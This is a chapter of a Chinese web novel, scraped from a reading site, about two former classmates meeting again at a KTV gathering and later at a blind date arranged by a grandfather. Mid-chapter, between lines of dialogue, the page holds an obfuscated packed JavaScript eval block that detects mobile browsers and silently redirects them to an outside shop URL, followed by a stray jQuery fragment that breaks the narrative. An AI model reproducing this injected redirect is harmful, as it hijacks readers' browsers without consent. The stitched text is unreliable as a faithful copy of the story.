默认冷灰
24号文字
方正启体

3. 见面

作者:叙野树本书字数:K更新时间:
    谌一礼说是去,但实际上还是等第二场才到。


    临时有个南方的合作方过来,谌一礼躲不了,穿着一身西装外套跟人吃了顿饭后,躲进自己的那辆七座商务车里开始换衣服,顺便让赵晓云先下班。


    “不用我来接?”赵晓云问他。


    “不用,我自己叫车过去,”谌一礼冲着他笑,又道,“车后座我衣服堆里应该有给你的生日礼物,你找找,我先走了。”


    他说完开门下车,步调慢悠悠的,脸上挂着笑。


    他穿了件棕色的皮夹克,里面配了件白色的低领毛衣,黑色的工装裤恰到好处的修饰着腿型,脚上踩着一双马丁靴,出去玩说是大学生都有人信。


    谌一礼进KTV前没忍住借着直达电梯里的镜子看了自己一眼。


    别说,挺装得,装得他自己都想笑。


    但说到底他为什么装,谌一礼自己心里清楚,懒得藏着掖着,没那个必要。


    开汇广场KTV在五楼,徐凯锐早把包厢信息扔在了群里。这地儿谌一礼来过很多次,以前高中、现在成人,几乎年年聚会,只要唱歌都在这儿,因为隔音好,哪怕再鬼哭狼嚎,外面都听不到。


    他轻车熟路地进了包厢,然后不出所料地被他们打趣了。


    “操,太装了吧班长,穿成这样,打击人呢?”徐凯锐说。


    谌一礼:“我穿成那样儿了?”


    “真要我说?”徐凯锐笑骂,眼神上下打趣了他两眼,拿了个话筒凑到谌一礼旁边,问,“你几岁了?”


    谌一礼跟着他笑,装傻,“我几岁了跟我这身有什么关系?”


    “他说你装嫩呢,”一边的汪淼接话,话说完却又补了一句刀,“不过我觉得不仅装嫩,还挺骚。”


    至此几人凑在一起嘻嘻哈哈地笑,末了谁也没放过谁,一个说一个头快秃了,一个说另一个有了小肚子,小心被老婆嫌弃。


    唯一没被人身攻击的是谌一礼,他那张脸这么些年过去没秃没胖,那是真帅。


    这次聚会以徐凯锐“交际花”的身份,其实来的人不少,群里一共就十二个,到了七个,这出席率可以了。


    只是谌一礼想见的人没来。


    “路熙然有事,等会儿到,”徐凯锐看着谌一礼到处看的模样告诉他,“第一轮吃饭,他本来说来,但救援队临时有个任务,说是有驴友出去爬山,一天一夜了没联系到人,去找了。”


    “行。”谌一礼拿着放在桌上的啤酒跟徐凯锐碰了个杯,不扭捏也不拧巴,他大大方方的承认自己在找路熙然,倒是让徐凯锐挑了下眉。


    徐凯锐来了兴趣,“怎么你前几年聚会不来,这次是专程的?”


    “那是在国外呢,后来是工作忙,”谌一礼冲着他笑,多的话不说,恰到好处的迂回婉转换了话题,从口袋里掏出红包,“这次这不是你要结婚吗?我来随个分子,再给你订的酒店打个折。”


    徐凯锐立马来了精神,连红包都没接,“几折?”


    “七折。”“你是我亲爹!”徐凯锐狂喜,就差跪下叩谢圣恩,不过末了这人看着谌一礼递过来的礼金没要,跟他商量,“你钱我就不收了,你要是到时候有空,来给我当伴郎呗,我身边没几个帅的。”


    对此谌一礼没回,旁边有个人接话,凑过来打趣,“你请他当伴郎,也不怕把你风头抢了。”


    “你一边去,”徐凯锐把那人推开,又跟谌一礼说,“路熙然也来,他说他有空,你看你时间呗?要是没空,提前半个月……,一周、一周跟我说一声,我再找人。”


    谌一礼闻言,他垂眸看着徐凯锐递来的酒杯,眼神跟那人对视了一秒。


    他知道徐凯锐的意思。作为当年隐约察觉到他跟路熙然关系的同龄人,徐凯锐虽然嘴上不说,但情商总是高的,这些年暗戳戳传消息的事儿没少干。


    也不差这一件。


    “行。”谌一礼应下,拿酒杯跟他碰了下,把红包收回来。


    他承徐凯锐这份情,到底是这么些年兄弟。


    一边的汪淼刚好在这时唱完一首情歌,他坐在卡座上拿着手机对着屏幕上的二维码扫了一下。


    “班长唱不唱?我帮你点。”汪淼爱热闹,都是几个闹腾的,自然谁也没放过一首歌都没唱的谌一礼。


    不知道是谁提了一嘴谌一礼高二那年在学校校园歌手比赛上大杀四方,叽叽喳喳的在感慨年华逝去,抒发矫情的同时,直接一连给谌一礼点了五首歌上去。


    谌一礼哭笑不得,心想唱就唱吧,结果人刚拿到话筒就被他们推耸着站起来,非要他走到前面去。


    口哨声、欢呼声,连带着放在一边的手摇铃他们都没放过,谌一礼的名字就这样被喧闹声捧上去又落下来。同学们拿歌星的名头打趣他,他也不恼,只笑,随他们折腾,然后大大方方走到众人面前。


    或许不仅仅是样貌,这么些年过去,谌一礼始终还是那个谌一礼,和当年校园歌手大赛上的新星没什么两样。


    路熙然进来时,看见的就是这一幕。


    谌一礼站在屏幕前,他的那件皮夹克已经脱了,霓虹灯的颜色染上了他的毛衣和侧脸,他站在那里唱着首情歌,听见开门的动静回头,侧过身看过来。


    两人自从那次元旦之后再未见过,视线相撞的一瞬间,彼此都像是恍惚了片刻,谌一礼嘴里的歌词掉了半句,路熙然则呆呆地伫在那里。


    心跳随着音乐鼓动着,有什么呼之欲出的言语从目光流露出来,却随着下句歌词伴奏的出现,一切回归平静。


    直到谌一礼先点了点头,而路熙然也冲着对方笑了下。


    没时间给他们说话,屏幕里的音乐仍旧在继续,徐凯锐招呼着路熙然坐下,给他递了杯酒。


    “跑来的?你这呼吸声听着都喘。”徐凯锐说。


    “嗯,直达电梯卡在负一了。”路熙然看着前面唱着歌的谌一礼答道。


    徐凯锐继续说:“第一次听他唱歌吧?我记得他参加校园歌手那年,你去美术集训了。”


    “对,第一次听现场。”路熙然说着,眼神都没徐凯锐一个。


    深棕色的瞳孔笔笔直地看向前方唱歌的那人。谌一礼站在那儿,在歌曲间奏时朝着台下要掌声,要他们跟自己一起合唱,偶尔眼神也会不轻不重地落在路熙然身上。


    像是猫爪的软垫,不轻不重地挨你一下。


    这是路熙然第一次好好听谌一礼唱歌,之前都是看的录像,徐凯锐帮忙录的。那时候高中,离舞台太远,看不清,只能听个声儿。


    这次不一样,谌一礼切了首快歌,唱得张扬又热烈。路熙然坐在台下想,如果给那人一个架子鼓,他能把鼓面给敲烂了。


    五首歌结束,几个听众的欢呼声没停,叫嚷着让谌一礼再来几首。


    谌一礼冲着他们一边笑一边摆手:“不了不了,歌星唱歌是要收费的,让你们听听就知足吧,再唱就要给我出场费了。”


    这话说得臭屁又欠打。


    于是这一趴就这么过去,唱歌的换成了别人,谌一礼回到卡座直接坐在了路熙然旁边。


    “迷路的驴友找回来了?”谌一礼问他。


    “找回来了,在半山腰迷了路,手机没电了,人没事。”路熙然回他。


    两人之间只来得及说了这么两句,刚想再聊点别的,就听在一旁的汪淼插了句嘴。


    “班长,刚你电话响了几次,好像挺急的,你要不去回一个?”


    谌一礼闻言,接过自己手机看了眼,在看见来电人显示时,跟他们说了句:“我去打个电话。”


    谌一礼说完,拿上外套出去,不一会儿却又进来,跟徐凯锐打了声招呼说要提前走。


    “怎么?出什么事了?”徐凯锐问他。


    “我一朋友有点麻烦,我去看看。”谌一礼说着,末了视线在路熙然身上扫了下,“下次见。”


    “我送你吧。”路熙然说,“我开车来的。”


    谌一礼对此没回,他的目光看向包厢茶几上刚被路熙然放下的酒。


    路熙然了然地改口:“我陪你去,给你叫个代驾。”


    “不用了,”谌一礼笑了笑,想起前不久赵晓云跟他提及的相亲,“还有机会再见的,走了。”


    谌一礼说完给自己倒了杯酒,提了一杯,敬在座许久不见的朋友,在他们一声声“歌星”下次再来的起哄声中离开了。


    谌一礼走后,路熙然没多呆。他跟高中时不一样,现在话少了很多,虽然性子还是很热络,跟谁都能说上两句话,谁找他帮忙他都会帮,但整个人到底变沉闷了些。


    况且他不唱歌。他唱歌跑调,能从南半球一路赶马狂奔到去看北极熊,在眼下这种场合,他只适合做个听众。


    而如今,他想见的那人走了,他自然也没了留下的理由。


    在又坐了一个小时,跟徐凯锐打了声招呼后,路熙然起身准备走,只是离开前徐凯锐塞给了他两个东西。


    是一款打火机跟一包烟。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189028|197039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    徐凯锐:“我之前问过了,是谌一礼刚唱歌脱外套时掉出来的,我跟他说过了,麻烦你带给他。”


    路熙然看着那打火机跟烟,想到周二晚跟谌一礼的见面,敛眸应下,说了声好。


    -


    转眼到了周二,那天的相亲地点是老爷子订的。


    他老人家生活充实,天天忙着喝茶、下棋,参加他的老年大学课程,这次的相亲却格外重视。


    周二中午就给谌一礼打了电话,给了他地址,点名让他注意着装不要迟到。那时谌一礼忙着工作敷衍着应了,谁知道到了下班点,他又打了一通电话过来。


    “穿好看点,别卡点到,也别让人等太久。”老爷子在电话那边再三嘱咐。


    谌一礼无言,他接着电话走在地下车库,应道:“知道了知道了,我去了之后跟你汇报好不好?还是说你要跟我一起去相亲?”


    “我一个老头去干嘛,你要是看上对方了就跟我说,这次这个我听赵晓云说,你连人照片都不看看,我要是不盯着你,我怕你放人鸽子。”老爷子隔着电话嗔怪。


    “那哪能啊,我们南城街道广场舞领队谌大方,你给我组的局,我怎么敢放人鸽子。”他说着走到了他那辆七座商务边,“挂了啊,我换个衣服,到位置给你发消息,行不?”


    谌大方:“那你穿好看点,别带赵晓云,也不许先离席,我找人盯着呢。”


    老爷子最后那句话谌一礼没往心里去,他不在意老爷子找的谁,也没时间关心。


    他在车后座上翻翻找找换了身休闲装。


    倒春寒仍在楚城盘桓着,只剩点尾声。谌一礼脱了身上的西装外套和裤子,换了件呢子大衣跟阔腿裤。


    他让赵晓云提前走了,今天他准备自己开辆轿车过去。


    他没过分打扮自己,也不想太讲究。毕竟之前见面是见面,相亲是相亲,这个态度,谌一礼还是会把握的。


    可等开车绕出地库时,他还是没忍住撇了眼后视镜。


    不错,还行,挺帅的。谌一礼自己给自己做了个总结,嘴角噙着抹笑。


    这次相亲地点是老爷子订的,选的是他老人家素来最看不上眼的西餐厅。


    当侍者引着谌一礼到位置上时,路熙然已经到了。


    跟没怎么打扮的谌一礼不同,路熙然一看就好好拾掇过。


    穿着一身工装夹克配工装裤,头发应该是特地剪过,起码周末谌一礼见他时,那人的头发还有点显长,这回剪得短了些,但发型没变,还是寸头。


    很帅,也很酷,只是香水不符合气质,是栀子花味。


    强烈反差。


    “喷香水了?”谌一礼坐下时冲着他笑了笑。


    路熙然回道:“是,我一直用这个,习惯了。”


    两人话说到这儿,没再往下继续。双方先商量着点了餐,然后便安静下来,好像谁也没有先开口说话的想法。


    于谌一礼而言,他是在等待,等待对方什么时候提起过去自己被放的鸽子。


    而于路熙然来说,他不知道说什么。他顶着谌一礼的目光,战术性地喝了几口水,绞尽脑汁找了个话题出来。


    他说:“要是早知道是在这儿吃饭,我起码应该穿个西装外套过来。”


    谌一礼眉眼微弯,目光滑过他喝水时露出的手腕。当年看见得肉色疤痕,已经被纹身取代,像是晕染的水墨覆盖在皮肤上,弯弯曲曲地往袖口里延伸。


    他没接路熙然的那句话,反问道:“怎么去做纹身了?”


    “混口饭吃。”


    “做应急救援呢?”


    “想让别人别像我一样,少遭点罪。”


    路熙然说到这里,没点破高考前的那场火灾。


    他好像有一种避重就轻的本事,越过那场事故,也好像理所当然地越过了那年他放谌一礼的鸽子和对他的躲藏。


    于是有些话只能谌一礼自己说,“为什么没复读?”


    路熙然顿了顿,说:“你知道,我学美术的,文化课本来就不好,再来一年,没钱再学画画,怕联考考不好,也怕文化课更差,而且家里需要钱,没办法。”


    “有后悔吗?”谌一礼接着问。


    路熙然嘴里微微勾起,摇摇头,“不后悔。”


    “那对我呢?”谌一礼抬起头目光撞向路熙然的眸子,他在那双瞳孔里,瞥见了惊异,同样也看见了躲藏,但他仍旧把话补了个全。


    他说:“路熙然,当年躲着我,有后悔吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)